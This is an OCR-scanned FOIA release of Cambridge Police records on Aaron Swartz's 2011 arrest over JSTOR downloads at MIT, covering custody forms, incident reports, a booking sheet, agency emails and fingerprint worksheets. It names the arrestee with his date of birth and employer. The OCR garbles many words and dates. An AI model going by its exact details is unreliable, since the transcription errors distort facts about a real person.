(58) PHOTOS TAKEN OF EVIDENCE SUBMITTED

Make Mode) Color Seris! Namber

Ownaer Information

Name MNI Namber [Phans

Address City State Zip Code

Notations

[Notation #: 3 Type: AUDIT

Y] DT Entered
(2)(B).(B)7XC) | 03/09/2011 20:11:17

Custodies

Custody Information

Transfer Type 0T Transfered
CHECKIN 02/10/2011 17:05:37

5 DT Entered
(b)(8),(6)7HC) I 02/22/2011 17:05:37

Transfer From Information

|Pervonnel/OfMicer D '; '6 BTG Agency Name
8), R
(6)(6).(5) I (b)(8).(bX7XC) CAM-PD

Tranafer To Information

Location Shelf Blo
ID UNIT

Personnel/()(Ticer 1D Ageney Name
(6)8).0)7) | TR e CAM-PD

LLNY
TR

Custody Notattons

PHOTOS SECURED IN.ID UNIT PHOTO FILE IN ACCORDANCE WITH
PHOTO SUBMISSION STANDARDS.

http://pd-me2/QED//policepartner/common/crimeweb/propview/main.jspitemnums=1 1000..,

ansAi



Main Form Page 1 of 3

CAMBRIDGE POLICE DEPARTMENT
CAMBRIDGE, MA

Property Custody

Property item Information

Agency Name Incident Tag Number Classiffeation
CAM-PD 11000078 11000078-3 EVIDENCE
Current Location Shelf Bin

ID UNIT

Current Status DT Status

ACTIVE 02/2212011 16:48:48

Enteved By: 1D/ Nams DT Eatered
[BXe).EXTHC) l 0272212011 16:43:11
: DT Updated
(Eg(ﬁg.(b)( 7 g(%; I 10470772011 16:40:37

2680
hitp://pd-rms2/QED//policepartner/common/crimeweb/propview/main.jspitemnumn=11000... 4/7/2011



Main Form

Page 20f 3

litom Doscrlption

{Property Type
LATENT LIFTS

Quantlty
6

fstimated Valae

FDeswlpdon

(6) SMALL CLEAR HINGE LIFTERS

Mahke

Model

Color

Serial Number

Owner Information

Name

MNI Nomber

Phone

Address

City

State

Zig Code

http://pd-rms2J/QED//policepartner/common/crimeweb/propview/main jsplitemnum=11000... 4f7l26 it

RIF




Matn Form

Page 3 of 3

Custodies

Custody Information

Teancler Type DT Trausfered

MOVE 01/04/2011 13:05:19
Bntered By: ID/ Nama DT Entered

(BY8), (BX7)C) | 02/22/2011 17:19:17
Transfer From Iaformation

Lacation Shelf Bla

CRIME SCENE

Persunuel/Officer KD Agency Name
[2(6),(!‘2)(7) I (b}(B),(bX7)C) CAM-PD
Transfer To Information

Location Shelf Bin

ID UNIT '

Personnel/OMcer ID Nume Agency Natag
(©)E).E)7) | BNE.OXINC) ] CAM-PD
Custody Notgtiens

ITEMS SECURED IN ID UNIT CASE FILES.

Custody Information

Transder Type DT Translered
CHECKIN 01/04/2011 12:21:48
Fotered By: ID / Nams DT Entered
(h)(8),(b)(7)(C) [ 02/222011 16:48:48
Traunsfer From Information

PersonmelOfficer TD |Name Agency Name
(bXB).( [(b)(ﬁ)'(b)m‘ C) ] CAM-PD
Trensfer To Information

Location Shelf B»

CRIME SCENE
| Personnel/Officer 1D Name Agency Name
(0)(8),(bX7) [eX8).eXTHC) ] CAM-PD

http://pd-rmsJQED//policepartner/common/crimeweb/propview/main. jsplitemaume1 1600...

anpit’



CAMBRIDGE POLICE DEPARTMENT e Lot 2
CAMBRIDGE, MA
Incident Report #11000131

»

Approved. Y Public View Date/Timo Printed: Tha Ape 07 16:322:17 DT 20 By’[(0X8).(b)

Case Title Locat on (7XC)
24 LEB g1

Dare/Tirne Reported Date/Time Occurred

01/06/2012 14:18:00 to

incdent fype/Offense

D4E DAXTIME POR FBLONY o268 818(266/16/8)

ole Name Jex ) e POB Phone Address

iath

S Orenders

Name D08

"MALB |WHITR |24 [11/0B/19R6 } (B)(8).(BX7N(C)
{ |DBFENDANT SWARTZ, AARON H B m
Mome]
{cell}
Role ] __[type gar Make Model Color o # State
Stolen § Rec Code Date Rec Rec$ Re By
Class Description Make odet Serial # Valua

AN B
CAU MM - from MIT £ o

On Jenuary 4, 2010 at approximately 10130 houra I responded to NIT building 16, room (04T for
a report of & pust break., Thie xroom is a telephone closet and networkiasg clamety it's socess
is controlled by WIT's 19&T Dcpu-tmont of MIT ISaT explained to me that samacne
had entered the restricted rovom and connectad e laptop and external dard drive directly to a

networking switch, The laptop and extersal hard drive were being bidden under a cardboard box.

I(b)(ﬁ),(b)( Iturthor explained that they were able to determine that this laptop was illsgelly
{Continued on next pags)

Reporting OtHeers 5 S g

Reyviewing Officen 3555

{01/13/2011 11:21:32)]




CAMBRIDGE POLICE DEPARTMENT Poged o1 2
CAMBRIDGE, MA
Incident Report #11000131

: = \ £)(6).\b
Approved Por Publig View Date/linge Prnted- Thu Apr 07 16:22:17 BDT 30[!3:]575{‘)\( :
Casa Vitle ocation

24 8%
Date/Time Reposted Jate/Time Oceurred
01/46/201% 14:16:00 to
ncldant Type/Offense

D&B_DAXTIME FOR PBLONY c266 318(2G6/18/R)

Nl ve (Concanued &r

downloading scientific pericdicals from J8tor, s subsoription based databasss that houses

acadomic periodicals,
Cambridge Palice Detective[(D)(8).(D)7)(C) | spocial Agent[B)B).ON7XC) | grom the United States
8ocret Service and Boston Police Officer |b)(6).(b)(7)] responded to building 16 room 004T.
Cambridge Police's Crime Scene Sexvices also responded and processed tha laptop and external
hard drive for latent prints. It was determined that the laptop would be laft in place and
I186T would moniteor the network traffiec in an attempt to identify the Buspect., A cdamera was
also instellad by WIT's I8a&T Department to moonitor the ares,

On January 4, 2010 at approximetely 1%:;26 hours e white male, dark or black shouldar length
wavy haizr, wesring a dark coat, gray backpack, jeans with a white bicycle helmat enters the
room. It appeare as thought the suspect takes a hard driva ocut of his back pack and bends over
the laptop and external hard drive., He exite the room momente later.

On Janwazy 5, 2010 MIT's IS&T Departmeat inforrmed me that approximately 70 gigabytas of data
had been downloaded, 99% of which wae from Jstor. 8A [DY6L(B)7)C) | had Lnformed me that WIT's
IS&T had put an approximate value on the dowloaded informarion at $50,000.

nn January €, 2010 at approxizmately 12132 hours a white male, dark or black shoulder langth
wavy hair, wearing a dark coat, gray backpack, jeans with a white bicycle hslmet enters the
Loom, X wes monitoring the video fsed at the MIT Police Depuztment at this time. It appears as
thought the suspest packed up the laptop and hard drive and exited the room. XIT Police unite
responsed to the area snd searched for the suspsoct. A check of rhe room determined that the
laptop and hard dxive had been removed.

On Janvery 6, 2010 at spproximately 14111 hours [(B)(6).(bX7)(C) lof the NIT Police
;epntmnut called me and gtated he had located tha Buspect riding his bike on Hassachuwsetts

Ave at. Lee IJtroet. Special Ag-ut.wd I reaponded to the Lee Street to u’nint

The suspact jumpad off hia bike when oncountered by [(h)(B).(BY7HC and ran down Lee
street. [(BYG)(LX7)C) ]ana speecial Agont (b)(m.(b)lnoro able to apprehand the suspect st 24 Lee

Stroet. He wes handcuffed m
The suspact ensountered by|(b)(6)(bX7)(C) ] and apprebended on Lee Stxeet is the same pecson

aecen onh video eatering the restricted telephone cloaset in building 16 on January 4th at 15:26
hours and on January §th at 14:1l hours.

He was errested for two counts of Breaking and Entering in the daytime with the intent to
commit a felony, Chapter 266 Bection 18.

Reviewne Orficee : Approving Of

w1z P ). (o), , (b)6).(bXTNC)




Main Form

CAMBRIDGE POLICE DEPARTMENT
CAMBRIDGE, MA

CAD Incident Report #11000895

Page 1 of 2

Incident Information

Jacideas ¥ Incldemt Dats Cull Toker

11000895 01/04/2011 10.49:56 B)(6).B)7)

Incldent Type Description Priority

130 MISC 3

Ems Lovel Alsrm Level Modified By B Modifled Date

01/04/2011 10:51:22

Event Information

Muufcipafity Rusiness Name

MIT POLICE

Fire Box RA

261 205

Correct Locaticn

MIT POLICE/ 301 VASSAR ST

Street # Sireet Name Apariment ¢  |Cross Street

3ol VASSAR ST

Near Lendmarks Additional

ST ST

AMHERST ALLEY T'O VASSAR BUSINESS ADDRESS: 301 VASSAR

Reporting Parson

RP Name RE Phone How Recelved

RP Addresy Closed By Date Closed

©)8). & | 01/0412011 10:51:22

Incident Types

Olspatch Class Ingident Type

AMBULANCE

FIRE/RESCUE

POLICE MISC

Note(s)

Note Type |Entered By |user 1D

Nots

FILENUM [o1/04£2011 10:51:26 |(B)6).(b)

(TN

hitp:/fpd-rms2/QED//cadpartner/cad97/cadinc view/main. jspTagency=CAM-PD&inchum=1....

annftffy



Main Form Page 2 of 2

ASSIGNED FILE#: 11000078 —_—
INFO [oroa2011 10:53:36 (ONONE)
REPORT GENERATED FOR DELTA 71,

Dispositions

Disposiilons

Type Disposition Incidens Report? Accident Report? Due By
POLICE {(117) REPORT/FRT DESK Y

hitp:#/pd-rms2/QED/fcadpartnec/cad97/cadincview/main jspagency=CAM-PD&incaums=1... 4775011



Record of Booking

POLICE DEPARTMENT
CAMBRIDGE, MASSACHUSETTS

Page | of |

CELL NUMUBER ARREST RUMBER

DNTE & TIME GF BODKIN

RELEASED FCAM201100032 01/06/201 1. 14:46:26
LAST NAME FIRST AID0OLE NAMO I D.0.8. AQR
SWARTZ AARON 1] (11/08/1986| 24
TRUE NAME RIAIDEN NAME
AARON H SWARTZ r
S EET STRERT NAME APTH#  CITY/TOWN STATE 2P

LYY (DYZHCY
SEX . HRIGHT WEIGHT  JRACE
™M 506_ 120 VIITE
VAR VS ) SKIN
BROWN IBROWN N [PATR
ETHNICITY scaRs  LBCATONOF
NOT OF HISPANIC ORIGIN ST
PLACBORBIRTH P RTIAL E IVER'S LICENSE

ATIIE " [MOTHPR'S MOTHER'S

[(b)i8). (o) b)(6).(BY7)(C)
EMPLOYER CCUPATION
HARVARD U ESEARCH AT HAR
ADDRESS OF EMPLOYER
124 MOUNT AUBURN ST #352 CAMBRIDGE MA

IE CUT VISIHLE ON PERSON, DESCRIBE KIND & LOCATION

OFFhNSBS

ny injuries per defendant
TREATED WHER

A UTENDING PHYSICIAN

! B&E DAYTIME YOR FELONY c266 §18

W

PRISONFR ADVISED OF RIGHTS YES [5VE).( 2 pam DAVTIME FUR FELONY <266 S18
UNDER G.L. CHAF276 DA Y

o 3
FAINGERPRINTS TAKEN gvas PHOTO TAKEN e
IF FRISONKR WAS ARRESTED FOR OPRRATING UNDER | TEIIE-— 1 &
INPLUENCE, FILL IN BELOW ;
PRISDNER ADVISED OF RIGHTS YES s
UNDER G.L. CHAP 263 54 [T _Froem
BREATHLYZER : -
READING B wnm | \RRESTON YES  [WARRAN T NUMBER

WARRANT? 0  Frrvcousr

1 inve beea sdvised of ond uimierstand my (ighl to reman gilens, use o HARGHS

telapioae o call & lawyer or have onc provided, and tu have my own
shysitiae tea for alcohat.

IRISUNER SIGNATUR,

ARRBS TING OFFICHR TMOIRING OFFICER
OTHER PD _lpebowe 1|

1) ARRESTED PERSON HAVE POSITIVE IDENTIFICATION
X] ves ]N0  TYPE: STATEID

COMPLAINANT [uummmmLI
OTHER I'D (b)(8),(L}7)(C)
2O i FCER NOTIFIE {IMB
1S ARRESTES A JUVENILE D vES NAME 0OFF PROBATION OFFICER NO D
NAME OF PARLNT OR GLIARDIAN NOTIFIED OFFICER MAKING NOTIFICATION TIME

BAIL.COMMISSIONER TAMOUNY OF RALL AT AND TiAME OF BAIL
BRG] f1,040.00

DISPOSITION

2687

httn://od-rms2/OBD//site/CAM-PD/booking/bksheet.ispTagency=CAM-PD&booknum=TC... 4/7/20t1



Main Form Page 1 of 2

CAMBRIDGE POLICE DEPARTMENT
CAMBRIDGE, MA
AuENCY NAME Case TYPE CASES
CAM-PD STANDARD 11000078
CASE INFORMATION
BASIC INFORMATION
. CASES® CaSE TYPE CABE TUTLE
; 11000078 STANDARD MIT COMPUTER CRIMES
§ ACTIVE

ENTEREDBYID/NAME  DTENIERED UPDATEDBYID/NAME DT Uppalzd

INCIDENTS ASSOCIATED WITH CASE

INCrORNT mmmnou'

JNCIDENT # DATE/TIME REPORIED OFFBNSE LOCATION
13000078  01/04/2011 10:49:00 MISCELLANEQGUS STATUTORY VIOLATION 301 VASSAR ST
FEL I LINYY 01/06/201114:18:00 B&E DAYTIME FOK FRLONY c260 318 24 LEE 5T
I TO DO LIST :
i

ACTIVITY # 2 FOLLOW-UP REPORT
ACHERULED PAXR/TING S¢HEDULING QFFICER DETECTIVE SCHEDULED

02/a1/2011 1m2¢:89

NotEs

COMPLETED ACTIVITIES

ACTIVITY # 1 GENEBRAL CASE NOTES

ACTUAL DATRITIME DEQCIYE
03/31/2011 13:57:6¢ m).(b)(n(c) ]
SCHEDULE NOTE

http://pd-rms2/QED//policepartner/common/crimeweb/detcaseview/main.jsp?casenum=110... 4718088



Main Form Page 2 0f 2

ACITVITY NOTK
| INVESTIGATORS l
; CURRBNT INVESTIOATORS
Amg Rot& DATS/TIME ASSIGNED
[(ENE), IbNT U i 8VIDENCE 02/11/2012 17:29:83
CASE OFFENDERS I
: OPFRNDER INPORMATION
!
,MNI NUMBER Namy T'YPR BooxING NUMBRR
1100090442 SWARTZ, AMARON H SUSPRCT
' 1199000417 SWARTZ, AARON H SUSPECT
LU0000447 SWARTZ, AARON H NEEENDANT TCAM20:t100032
ATTACHMENTS l
ATTACHMENT 81 3
IXEE DAIR/TIME ENTRRED Enrgusy By CAPTURED BY
OTHER 03/31/2013 17135:04 [©E.mTXS) ]
Medla: getcasemedia ap2agencyname=CAM-PDResenym= noonazidattachmentnugiz s

hitp://pd-rms2/QED//policepartner/commor/crimeweb/detcaseview/main.jspeasenum=110.., annbit



Page 2 of 4

RIF
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Page 3 of 4

lR IF
26 ‘

file!//fEAFOLA nanhaxed\FOIA OricADise 1 A 10080 TR\PanerwnrADNT TN 16 FW Risldi 372872014
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Pege 1 of 2.

(bX8),(e)(THC)

From:
Sent: Thursday, January 06, 2011 11:13 AM
1; - u(n;(;s; ;(Ol;(;l:((:l)l:n"l . D). N (B)(5).(b)(7KC)
. [(T;)(B),(b)(?)(C) con’lcast net"l(b)(ﬁ) {(b)(7) 'Puss:s dhs
.net’; . .(hs.gov’
Subject: Fw: MIT - 8id 16
[xvm.(bh?m.) J

The thread below has the status of the investigation to date.

As | am on a day off today | would request that CPO Crime Scene persannel hook up with SA{ZX®) X7 |ng
process the newest external hard drive for prints that the suspect left the other day after we cleared the scane.

As you'll natice from the thread, the operstion is belng shut down and we will continue the investigation just not
with the computer hooked up and downlgadin

7 .
ke L‘eﬂ phone number is
8), b i

(g)(T) C aﬂd( ) can you callj(C)

Reagpectfully Submitted,

(b)),
(bM7Y(

(b)(8),(B)7XC)

dusss.dhs.qov> GIEE
JoUBY,ONTX ) Dmit.edus (b)(6).(LU/NC)
mlt.edu>](b (8).(bI7)(C) Imit edu>

BOS (L)X KC) Jusss.dhs. gov>

Sent: Thu Jan 06 10:00:07 2011
Subject: RE: MIT - Bld 16

| agree with taking the laptop offline today and imaging it. Any leads with identification? 1 wanted to logk at
what options we have to get a better picture of his face. | mentioned the case to aur Technical Security Division
Speclalist, He is working on another case this morning but will be available this afternoon. Do you have any
other surveillance optlons to capture a better image of his face?

I(b)(S).(b)('l)(C) I

L1.S. Secret Service

G g Hce
(B)(8).(b}{7)(C)

MIT.EDU]
Sent: T!
To: (B)E).(X/)(C)

: M
[(D)0). (BN (8083); Externalf®)®)._ I3 ambridgepolice.org
Cc:f(b)(8).B)TNC)

Subfect: MIT - 8ld 16

All,

| am going to suggest that we take the laptop and hard drive offline taday. | think the amount of network traffic
captured is sufficient and would like to remove the laptop to see If he comas back to retrieve it. | wilt be abie to
put some people there for 3 short time in an attempt to ID.

2694
o IEARNTA nanhavaAARATA Neint Mo 1T ANDATA Dr mamyrned A DV TR 1T (T, VT AMoMNLA



Page 2 of 2

| am following up a couple of possihle [D's this morning and will get back to you on my success (or not).

The open questions will be if we decide to take it offline, Is this something i can do with instruction or will | need
help? Also, do we want ta have the new drive printed?

FromPOEXNC) |

Sent: Wednesday, January 05, 2011 5.02 PM
To ©)6).0)71(C) ]
cclB)@.BNNIC

Subfect: Packet Capture

Hi there,

) have collected about 70G of network traffic so far with about 98% of which Is the JSTOR Journal downloads.
I've done some initial checking of the capture and | don’t see anything that identifles a command and control
channel. | was Just wondering what the next step is.

Thank you
(b)(6).(e)7)(C)

Information Services and Technology {IS&T)
Massachusetts Institute of Technology
RoomEITOINT ]

Cambridge, MA 02139
(b)(6),(b}(7)}(C)
(b)(B). Init.edu

All e-mail to/from this account is subject to official review and is for official use only. Action may be
taken in response te any inappropriate use of the Secret Service's e-mail system. This e-mail may
contain information that is privileged, law enforcement sensitive, or subject to other disclosure
limitations, Such information is loaned lo you and should not be further disseminated without the
permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or
copy it; notify the sender immediately and delete it.

2695
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o Cambridgerolice Department
JEaN|  Identification Unit

LATENT PRINT EXAMINATION WORKSHEET

Processing ‘Technique: [Z/ "
éc/a’l/w/ (i

Powder: [bAB¢k. Chemical:

; b4 Photo: {1 Other
> L\j ! N
S/ : SPEX ling
¥ Date Entered:_,/\é'f e
LExaijner:

Core Present;

Skeleton:
: #ofPoints;__._____
Submitted to Databas
Pinger ;.  Palm Impression Initlal QED Supplyfhcntal L]
Candidate Lisy8enrched and RevieweN, ]
Mise. NotJ
Value for Comparisen { fgb » '

L

¥Manual Comparisons: -

Natme DoB _OBTY

P
oy
"

e

NA MR SN

s \D GO
<

i

I




Camb.rid\ﬁ'ijl'olice Department
Identiftcation Unit

LATENT PRINT EXAMINATION WORKSHEET

Casett:_/ /[ - 4’@022

Latenth:
Kxamlne
Date:

(b)(6).(eX7)C)

Level 1 Detall:

Pattern Type/Ridge Flow
Incipient ridges, scary, waits
Quality (distortion)

A Level 2 Detaii:
A Ridge Morphology (snze/shapu)
Target/Unique ridge deteil .

ay

Level 3 Detsil:
Pore/Bdge detail
Secondary Creases

Individuals Compar;

(b)(8).(b)AC)

faconc

Nate Verified:

Date Syl

V Agency

/ .
SRS I AN X EE.S_U!{." NOTES
Not suifuble for sca/n( litable for companson

Unable to make pomparison due xd"ﬁé‘m quaht) of

_impressions on/he ten-print card - |

Checked a3 [ as possible and remaing nnidentified

Insufficight detail to establish identity but sufficient
| detail 46 prosent to exclude identity

Tnsufficient detail to either establish or exclude

idpfitity

Jasufficient detail for comparison putposes

At




N ,
Cambridge Police Department Casedt:
Identification Unit - Lateni#:
‘ . Fxamine
LATENT PRINT EXAMINATION WORKSHEET Daite: =

-

PIO(. 3sin chnique A
Powder; l—f‘i %.CJ. hemical: /z ad VB}L?M
Photo Other: __ .

SPEX Iintry - ' /
Date Hntcrcd:_&ﬁ_’:___“
Examiner:

' Taverted: | _| . N
| s = vt
Core Pregent:
Skeleton:
# of Points:
Submifted tv D
Initial QED Syl Emental: (]
Candidat

N

Finger . Palm Impression
ist Searched and Reviewed:

i

Misc/Notes:

Value for Comparison / ﬂ A ' :
v

PR e W[H!ﬂl.'ii Cmnwn:!g[gm"-‘ s W R SR B -

Mam DGR

S (BX8),(h)}ZHC) o
O . —
7. ANOE A -

e W—

v 2680




g v’ parrs wizg s atsmatn

Cambridge Police Department
Identification Unit

Cusei_// = 2007 gg
Latent#: L/, ‘
Examinc

-V TV Ty S ——— -
bty i o g
!

L

LATENT PRINT EXAMINATION WORKSHEET | Date:_sfxr7 X7
sl >
Level | Detail:
Pattern Type/Ridge Flow
Incipient ridges, scurs, warts
Quality (distostion)
A Level 2 Detail:
. Ridge Moxphology (s:zelshape)
o Target/Unique ridge detnil
Lgvel 3 Detail:
Pare/Edge detail
Secondary Creases
N Individuals Compared:
' (b)), (BXTIC) :
Individualization:
Bxclusion:
Tnconclusive:
Z ' C .
V Agency: / [
“Pate S‘uhmnttui A / Datn Vetifleds - -~
- i " RESULT NOTES e
Not suitable for search byfsuitable for companson
Unable to muke compgrison due to poos qunhty of 1T W
impressions on the tgh-print card . s
Checked as far as gossible and remains unidentified
Tnsufficient d 6111 to establish xdcnmy but sufficient o
_detail to pregopt to cxclude identity S .
Insuificieyl detail fo cither establish of excinde
identity ", _ e i e e et
Insufficient detail for comparison purposes
: 2699




Ve CAMBRIDGE POLICE DEPARTMENT Pagelvt 2

Q CAMBRIDGE, MA
¥/ Supplementary Report #11000078/4

b v— (b)(B),
Appxoved Pui Publlc View _ Daw/Time Printed: Px{ Apr 15 14:17:43 80T 20 Uy (by7¥C)
Case Title Location
MIT COMPUTRR CRIMES 301 VASSAR ST {BLD 1}
Date/Time Reported Date/Time Occurred
01/04/2011 10:49100 to
rncidemTypcloffense .
MISCRLLANEOUS STATUTORY VIOLATION (9899999)
ole ] Name ex _ |Race Age (D08 Pharnie Address
thame}
ken
| thorme}
} (eaty
e lenderg ¥ 3 AR s 7
Status flame sy Phone Address
. |9msrECT [(0)(8),(bX7)C) | s [wkaTE [DYETRITHCY | (b)(6).(bI7)C)
B)(BLBRTIC
{homa}
Kal
le yoe Yons Make Model Color oq & State
Stolen $ Rec Code Datg fRec Rec$ Rec By
< )
\e 35 Yescription Viake WVodel Ser - N

R S R R e e T T T
 NavFative s e e R B R I R T A R e

pot t card aod us als ]

‘ {1} k
(b)(8),(b)(7)(C)

1 16:02:34)

£10U



G CAMBRIDGE POLICE DEPARTMENT et
(Y] CAMBRIDGE, MA

&/ Supplementary Report #11000078/4

Apbroved- Féx Bibl1g view Due/Tine Pl 751 ape 15 14117043 e a0n[BOXO]

Lase Title ocation

z P CRINE {304 YAGRAR BT {BLD 1)
Date/Time Reported Date/Time Occurred
01/04/3011 10:48,:00 to
neident Type/Offense
hummmmxmmmmmmunm

INarrative! (Continued frow

NARRATIVE)

on March 15, 3011, I was notified by Det.|NE)®ON7) |op.e [BXELBNTHC) |(spa) may be
concidered a person of intevest in thie case. I axamined the fingexprimt card on tile fox
thig individual and determined it contained sufficieant rldge quantity and gquality for
comparison. I then compared LP6 to P2 and could not éxclude 3P2 es a donor for LPG.

LP6 and 3P2 gacured in ID Unit case files.

Reporing Onicer? Reviewing Ol ieee:

(b)(8),(bX7HC)

Approving Qicer
(b)(6).(b}X7)C)

2701



CAMBRIDGE POLICE DEPARTMENT page 1ot 3

. .
CAMBRIDGE, MA
i
Supplementary Report #11000078/2 T
Approvad For Publid View Date/Tuno Printed:Thu Apr Q7 16§09:53 BDT 20 By |(b)7)(C
Case Title Location
WIT COMPUTRR CRINHS 301 VASSAR 8T (BLD 1}
Date/Time Reported Date/Time Occurred
01/04/2011 10:49:00 to
Incident Type/Offense
MISCBLLANBOUS GTATUTORY VIOLATION($$9999)
__Role Name Sex arce Age IDOB Phong Nddress
[eamti
e}
{hame)
9

COTTondedl e

)
rerr S A
o)
E L
I ~ |fype Year pAake oded Colat q¥ State]
talen $ n Date Rec Rec § Rec By

NiaTotives
BEVIDERCH:

Bl: {1} sealed clear plaastic svidence bag containing (1) f£lash driver black

plastie, "HP®, 8 GB. Silver metal USB insert haam # °004BMKBYL" and # “"B5102° and “vi25w®
Moeaaurements are apprex. 5.3om x 1.7cm x .08om

tevenltom Bl REPACKAGED 1IN A SBALED MAMNILA BNVBLOPE w/ origisnal plastic packaging.ves#e

(1) sealed clesr plastic evidence bag containing €81, €82, and CS2a.,
{Continued on wext page)

Riporting OFficors gkl I ife s
(B)(8).(b)7)(C)

O Approving OIficen:




CAMBRIDGE POLICE DEPARTMENT rogn 3 of3
CAMBRIDGE, MA
Supplementary Report #11000078/2

, . . (b)6),(b)
Approved Yor Publig Viaw | DawesYime Printed Thu Apr 07 1610953 BOT 200y:{(7)(C)
fLase Yitle l.ocation
MIT COMPUTER CRIMBS 1301 _VASHAB ST (BLD 1)
Jate/Time Reported Pate/Time Occurred
{91/04/2011 10¢49:00 ta —_—
ncident Type/Offense

TUTORX YIQLATION(939999)

E!\Iéll"l'li'.i\w'. trentinuadt £y amn

€313 (1) wini laptop: ACER, Aspireone, 8N: LUSAXoDcolOOlR1601, SMID: 00106556616,
Model #: MAVS0, Laptop is described aw a black base w/ silver top. USB cord and 2 power coxds
are connected to the laptop. Measurements ars approx. 25.%cm X 16.3 om X 2.8 cm.

C82: (1) External hard drive compartment: 8ilver w/ top & bottem that gsparate from

each other exposing an intaernal removabla unit {CS2a). The ctmpartment reads,

“RocketFish* on the top and bottom reada, "RP 3.5 SATA 1id enclosure kit RF-AHD3IS® Inside the
compaxtment is a greem eleatronilc cirxcuit panel. A black USB cord connacts C82 ta CS),
lessuremants are approx. 23.3ca X 13.lca X 4.)em.

C82a: (1} innexr hard drive unit, or internal ramovable unit located inside C82. Unit is

a Westarn Digital, MDL: WDZOBARS-00MVWBG, 2.0 TB, 8N: WMAZA1628673. Unit is described as
having black #idss and bottom, reflactive silver metal top w/ & greean & white label v/ product
info, Maaguremants are approx, 10.3cm X 14.%¢cm X 2.4 cm.

twesslvems C81, CS2, and CS83 REPACKAGED IN A SEALED LARCE BROWN PAPEZR BAC w/ original plaastio
pachaging,eseees

LPT: (1) small claar hinge lifter collected from the upper right ccroer of the acreexn

(CBl). Collacted prior to fuming on 2/10/2011 at approx, 0933 hours.

2LP7t (1) amall clear hinge liftar collected from same aree as LP7. Collected aftar

fuming and traditional black powder prosessing. Collected on 2/10/2011 at approx, 1216 hours.
LPBs (1) small clear hinge lifter collected from (87a (silver metal surface).

Collected aftex fuming and treditiocsnal black powder processing. Collaected on 2/10/2011 st
approx. 1150 hours.

LP9:r (1) small clear hinge 1lifter collected from CS1 between areas for LP6 end LP7,
Collacted after fuming and traditional black powder proceesing. Collected on 2/10/2011 at
approx. 1233 houza.

PHOTO8: (7) photos collected com 2/3/2011. (58} photos collsataed on 2/10/3011.

NARRATIVE: .
On Pebruary J, 2011 at approx. 1130 houtse, Dot.l(b)(e)'(b)(”(c) Ioubalttod tha above items
(B1, ©81, €33, and CS2a) vis Property. With tha asaiatance ot |(BX6).(b)(7}C) _| pet.

[ opened the sealed packages and (7) photographs were taken of the items. The
items were repackaged at this time as desecribed above and secured in the ID Unit.
{Continued on next page)

Adnroviig Offieer
(b)(6).(b)}(7){C}

Reviewing Officer

[®)(8).(b)(7)C) | J

2703



TG CAMBRIDGE POLICE DEPARTMENT Page 3 of 3
5898 CAMBRIDGE, MA
Supplementary Report #11000078/2

. y ©)E).(B)
Approved ¥or Public’ View Date/Time Printed: Thu dpx 07 16109353 BDT 20TyK7NC)
Fasoﬂth Location
MIT COMPUTBR CRINEY 130} YAGHAR 6T (BLD 1)

e/Time Reported Yate/Time Occurred
01/08/3013 10:49:00 to
ncident Type/Offense

SCELLAMEQUA. STATUTORY VIQLATIOM(999999)

WNITUlIVEG  (Continued fcow page )

| A—— l(b)(ﬁ).(b)(7)(0) |

ary 10, 3011, and I examined the above listed iteme and documented
tha same with notes snd photographs. Upon sxamining CS82a, I observed ridgs detall (LP8)
on the silver metal surface. I used oblique lighting snd aeveral alternative lighting methoda
with photography to snbance the vimibiliey of the latent. I obsexved black powder residus on
C81 and CH2 that remained present €xom the processing conducted on scese on 1/4/3011. In
addition, I obgerved an additional latent {LP?) not observed at the scens, I attempted
to enhance and collect thie latent prior to further processing. Items Bl, €81, €S2 and C8la
ware then fumed with cyanocacrylats. Upon completion, I examined the itsma again and
obaervod ridga datail on €81 (the edges of the ecreen) and om CS2e. No discernidle
ridge detail was observed on Item Bl or C€$2. I usaed traditional black powdsr to further
enhance ridgs detail amd collected latent print lifts (3LP7, L?8, and LPS) from C81 and
c92a.

Items Bl, C31, €83, aud Cd2a were returned to its paakaging and mecured in the ID Unit Lab
Locker.

agr Oeer

Reporime Officer ™ Revies

|(B)(8).(bY7HC)

2704



CAMBRIDGE POLICE DEPARTMENT Page Lot 2
CAMBRIDGE, MA
Supplementary Report #11000078/3

s a0 %l P B mia il W AITENTNE L EF L IR ¢ g0 T S b w feeRin s g o It s ; b
Approved For wibIAGuient el it At I DiieTiiae Hrihied thu Apr. 07 16310121 mor 20 By f0l0L®)

[ AViadY
Case Title Lacation
UIT COMPUTBR CRIMES 301 VASSAR 8T (BLD 1) o
ate/Time Reparted Date/Time Occurred
01/04/20311 10:4%9:00 to
ncident Type/Offense

MISCRLUANROUS STATUTORY VIOLATION{(999999)

Role Bme Sex Race = Age POB one Address
{roma)

icel)

o)

Status lame Sex Race Age [008 Phone ddress
Rrrng)

ol

kel

ole Type ear Make Mode! olor eg# State

Stolen $ ac Code Date Rec Rec § Qec By

Aike

Description Make Modal Sarlal #

BYIDENCE:

8Pl: (1) known fingerprint card for Aaron BWARTZ, DOB: 11/08/1986, ¥W/M, OBTN:
TCAN201100033, c¢olleated on January 6, 2011,

LP7: (1) small clear hinge llfter collected from the upper right cormer of the scresn
(Cs1l). Collected prior to fuming oa 2/10/2011 at approx. 0953 houcs.

2LP?r (1} small oleax hinge lifter oollectad fxom same arsa ae LP7, <Collacted after
{Continund on next pageo)

2011 161:32:49)] (04/01/201% Q 148




CAMBRIDGE POLICE DEPARTMENT Page 2 of2
CAMBRIDGE, MA
Supplementary Report #1 1000078/3

Approved For Publie Viaw "% ¥ S e Tire Printed: Thu Apr 07 16110:2) BOT aoB«ISEZSg’\(t’ l
s@ Title Loacation

MIT COMPUTER CRIYMBS 1301 VASSAR 67 (BLD 1)

ate/Time Reported [Date/Tima Occunrad

01/04/2011 10349500 to

ncident Type/Offanse

MISCRLLANEQUS STATUTORY VIOLATION(949999)

fN:ll'l'.lli\i‘ {Onntinuad fron pagl 1)

funing and traditionsl black powder proceasing. Collectad on 3/10/2011 at approx. 1216 haurs.
LP8: (1) small clear hinge lifter collected from CS2a (silvez metal aurface).

Collected after fuming and traditional black powder proceesing. Collected oa 2/10/2011 at
approx. 1130 hours.

LP9s (1) emall clear hingam lifter collected from CB1 between arxeas for LF§ and LP7.
Collected after fuming and traditionsl black powder procesaing. Collested on 2/10/2011 at
approx. 1333 hours.

NARRATIVR

On Februasry 10, 2011 and Pebruary 11, 2011 f examized the abave latent 1i{fts snd their
roapective photographas te determine their value for comparisca. LP?7, 2LP7, and LPS weze
detormined to contmin insufficient quantity and guality foxr comparison. LP8 was determined to
contaia sufficient quantity and quality for compacisom. I then compared LP8 to the kaowm
